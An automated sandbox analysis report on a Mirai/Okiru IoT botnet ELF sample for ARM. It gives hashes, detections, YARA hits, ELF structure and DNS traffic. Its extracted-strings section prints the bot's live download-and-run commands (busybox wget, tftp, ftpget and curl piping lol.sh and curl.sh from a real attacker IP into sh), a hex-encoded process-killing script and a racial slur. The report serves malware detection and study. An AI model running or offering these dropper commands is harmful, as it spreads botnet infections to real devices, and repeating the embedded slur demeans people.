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Linux Analysis Report
arm6.nn-20241219-1505.elf

Overview

General Information

Sample name:arm6.nn-20241219-1505.elf
Analysis ID:1578367
MD5:737cac60e63fdd9b39eecf531fdab2e3
SHA1:3784e01e1120aaf8fb3b8ab8924419db0da01e5d
SHA256:cbb49e3fd9ba5ae4a501993caa349a1f3eb0123d4fa4e1f4c7084509a94770fe
Tags:user-elfdigest
Infos:

Detection

Mirai, Okiru
Score:72
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1578367
Start date and time:2024-12-19 16:06:09 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 40s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm6.nn-20241219-1505.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
  • VT rate limit hit for: arm6.nn-20241219-1505.elf
Command:/tmp/arm6.nn-20241219-1505.elf
PID:5520
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • arm6.nn-20241219-1505.elf (PID: 5520, Parent: 5439, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.nn-20241219-1505.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arm6.nn-20241219-1505.elfJoeSecurity_OkiruYara detected OkiruJoe Security
    arm6.nn-20241219-1505.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      5520.1.00007f0bf4017000.00007f0bf4032000.r-x.sdmpJoeSecurity_OkiruYara detected OkiruJoe Security
        5520.1.00007f0bf4017000.00007f0bf4032000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: arm6.nn-20241219-1505.elf PID: 5520JoeSecurity_OkiruYara detected OkiruJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: arm6.nn-20241219-1505.elfAvira: detected
            Source: arm6.nn-20241219-1505.elfReversingLabs: Detection: 47%
            Source: arm6.nn-20241219-1505.elfString: discordNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe..%s/%s/proc//data/local/tmp//var/run/home/usr/bin/dev/dev/mnt/var/tmptmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login94.156.227.234malloc[start_pid_hopping] Failed to clone: %s
            Source: arm6.nn-20241219-1505.elfString: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
            Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
            Source: arm6.nn-20241219-1505.elfString found in binary or memory: http://94.156.227.233/
            Source: arm6.nn-20241219-1505.elfString found in binary or memory: http://94.156.227.233/curl.sh
            Source: arm6.nn-20241219-1505.elfString found in binary or memory: http://94.156.227.233/lol.sh
            Source: arm6.nn-20241219-1505.elfString found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
            Source: Initial sampleString containing 'busybox' found: /bin/busybox
            Source: Initial sampleString containing 'busybox' found: discordNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe..%s/%s/proc//data/local/tmp//var/run/home/usr/bin/dev/dev/mnt/var/tmptmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/b
            Source: Initial sampleString containing 'busybox' found: usage: busybox
            Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname PBOC
            Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
            Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
            Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
            Source: Initial sampleString containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
            Source: Initial sampleString containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
            Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
            Source: Initial sampleString containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
            Source: Initial sampleString containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
            Source: /tmp/arm6.nn-20241219-1505.elf (PID: 5520)Queries kernel information via 'uname': Jump to behavior
            Source: arm6.nn-20241219-1505.elf, 5520.1.00005624ac915000.00005624aca43000.rw-.sdmpBinary or memory string: $V!/etc/qemu-binfmt/arm
            Source: arm6.nn-20241219-1505.elf, 5520.1.00005624ac915000.00005624aca43000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: arm6.nn-20241219-1505.elf, 5520.1.00007ffc98685000.00007ffc986a6000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: arm6.nn-20241219-1505.elf, 5520.1.00007ffc98685000.00007ffc986a6000.rw-.sdmpBinary or memory string: nx86_64/usr/bin/qemu-arm/tmp/arm6.nn-20241219-1505.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.nn-20241219-1505.elf
            Source: arm6.nn-20241219-1505.elf, 5520.1.00007ffc98685000.00007ffc986a6000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: arm6.nn-20241219-1505.elf, type: SAMPLE
            Source: Yara matchFile source: 5520.1.00007f0bf4017000.00007f0bf4032000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: arm6.nn-20241219-1505.elf, type: SAMPLE
            Source: Yara matchFile source: 5520.1.00007f0bf4017000.00007f0bf4032000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6.nn-20241219-1505.elf PID: 5520, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: arm6.nn-20241219-1505.elf, type: SAMPLE
            Source: Yara matchFile source: 5520.1.00007f0bf4017000.00007f0bf4032000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: arm6.nn-20241219-1505.elf, type: SAMPLE
            Source: Yara matchFile source: 5520.1.00007f0bf4017000.00007f0bf4032000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6.nn-20241219-1505.elf PID: 5520, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity Information1
            Scripting
            Valid AccountsWindows Management Instrumentation1
            Scripting
            Path InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local System1
            Non-Application Layer Protocol
            Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Application Layer Protocol
            Exfiltration Over BluetoothNetwork Denial of Service
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand
            SourceDetectionScannerLabelLink
            arm6.nn-20241219-1505.elf47%ReversingLabsLinux.Backdoor.Mirai
            arm6.nn-20241219-1505.elf100%AviraEXP/ELF.Mirai.W
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches
            NameIPActiveMaliciousAntivirus DetectionReputation
            daisy.ubuntu.com
            162.213.35.24
            truefalse
              high
              NameSourceMaliciousAntivirus DetectionReputation
              http://94.156.227.233/curl.sharm6.nn-20241219-1505.elffalse
                high
                http://94.156.227.233/lol.sharm6.nn-20241219-1505.elffalse
                  high
                  http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sarm6.nn-20241219-1505.elffalse
                    high
                    http://94.156.227.233/arm6.nn-20241219-1505.elffalse
                      high
                      No contacted IP infos
                      No context
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      daisy.ubuntu.comm68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      • 162.213.35.24
                      m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      • 162.213.35.24
                      arm6.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      • 162.213.35.24
                      arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      • 162.213.35.25
                      Mozi.m.elfGet hashmaliciousUnknownBrowse
                      • 162.213.35.24
                      cbr.x86.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.24
                      m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      • 162.213.35.24
                      x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      • 162.213.35.24
                      sh4.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      • 162.213.35.24
                      boatnet.arm7.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.24
                      No context
                      No context
                      No context
                      No created / dropped files found
                      File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                      Entropy (8bit):6.164792829547637
                      TrID:
                      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                      File name:arm6.nn-20241219-1505.elf
                      File size:112'544 bytes
                      MD5:737cac60e63fdd9b39eecf531fdab2e3
                      SHA1:3784e01e1120aaf8fb3b8ab8924419db0da01e5d
                      SHA256:cbb49e3fd9ba5ae4a501993caa349a1f3eb0123d4fa4e1f4c7084509a94770fe
                      SHA512:d11f37bf2515500486a9fdfde33d6b679e02076350d62c961d76df102f1283bfc4bef8dee945fd21ea346d738b7721721425caa74ac285489a8a9d0fe1300bbe
                      SSDEEP:3072:3OhbC6OdcQC6a2CkDiWacD3k/X7Dinn2d:3OhbC6OdDBmkra++d
                      TLSH:A4B32A56B881DB12D5C506BEF91E028D732313B8E3DE72168D14AF247B8B96B0D7BA05
                      File Content Preview:.ELF..............(.....T...4...........4. ...(.....................P...P...........................L...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.L.............-.@0....S

                      ELF header

                      Class:ELF32
                      Data:2's complement, little endian
                      Version:1 (current)
                      Machine:ARM
                      Version Number:0x1
                      Type:EXEC (Executable file)
                      OS/ABI:UNIX - System V
                      ABI Version:0
                      Entry Point Address:0x8154
                      Flags:0x4000002
                      ELF Header Size:52
                      Program Header Offset:52
                      Program Header Size:32
                      Number of Program Headers:3
                      Section Header Offset:112064
                      Section Header Size:40
                      Number of Section Headers:12
                      Header String Table Index:11
                      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                      NULL0x00x00x00x00x0000
                      .initPROGBITS0x80940x940x100x00x6AX004
                      .textPROGBITS0x80b00xb00x176680x00x6AX0016
                      .finiPROGBITS0x1f7180x177180x100x00x6AX004
                      .rodataPROGBITS0x1f7280x177280x31280x00x2A008
                      .init_arrayINIT_ARRAY0x2b0040x1b0080x40x00x3WA004
                      .fini_arrayFINI_ARRAY0x2b0080x1b00c0x40x00x3WA004
                      .gotPROGBITS0x2b0100x1b0140x780x40x3WA004
                      .dataPROGBITS0x2b0880x1b08c0x4c40x00x3WA004
                      .bssNOBITS0x2b54c0x1b5500x25680x00x3WA004
                      .ARM.attributesARM_ATTRIBUTES0x00x1b5500x100x00x0001
                      .shstrtabSTRTAB0x00x1b5600x5d0x00x0001
                      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                      LOAD0x00x80000x80000x1a8500x1a8506.23190x5R E0x8000.init .text .fini .rodata
                      LOAD0x1b0040x2b0040x2b0000x54c0xaab05.41830x6RW 0x8000.init_array .fini_array .got .data .bss
                      GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                      TimestampSource PortDest PortSource IPDest IP
                      Dec 19, 2024 16:07:14.189687967 CET4376453192.168.2.148.8.8.8
                      Dec 19, 2024 16:07:14.189795971 CET4092053192.168.2.148.8.8.8
                      Dec 19, 2024 16:07:14.314034939 CET53409208.8.8.8192.168.2.14
                      Dec 19, 2024 16:07:14.319420099 CET53437648.8.8.8192.168.2.14
                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                      Dec 19, 2024 16:07:14.189687967 CET192.168.2.148.8.8.80xd19fStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                      Dec 19, 2024 16:07:14.189795971 CET192.168.2.148.8.8.80xd6d4Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                      Dec 19, 2024 16:07:14.319420099 CET8.8.8.8192.168.2.140xd19fNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                      Dec 19, 2024 16:07:14.319420099 CET8.8.8.8192.168.2.140xd19fNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                      System Behavior

                      Start time (UTC):15:07:11
                      Start date (UTC):19/12/2024
                      Path:/tmp/arm6.nn-20241219-1505.elf
                      Arguments:/tmp/arm6.nn-20241219-1505.elf
                      File size:4956856 bytes
                      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1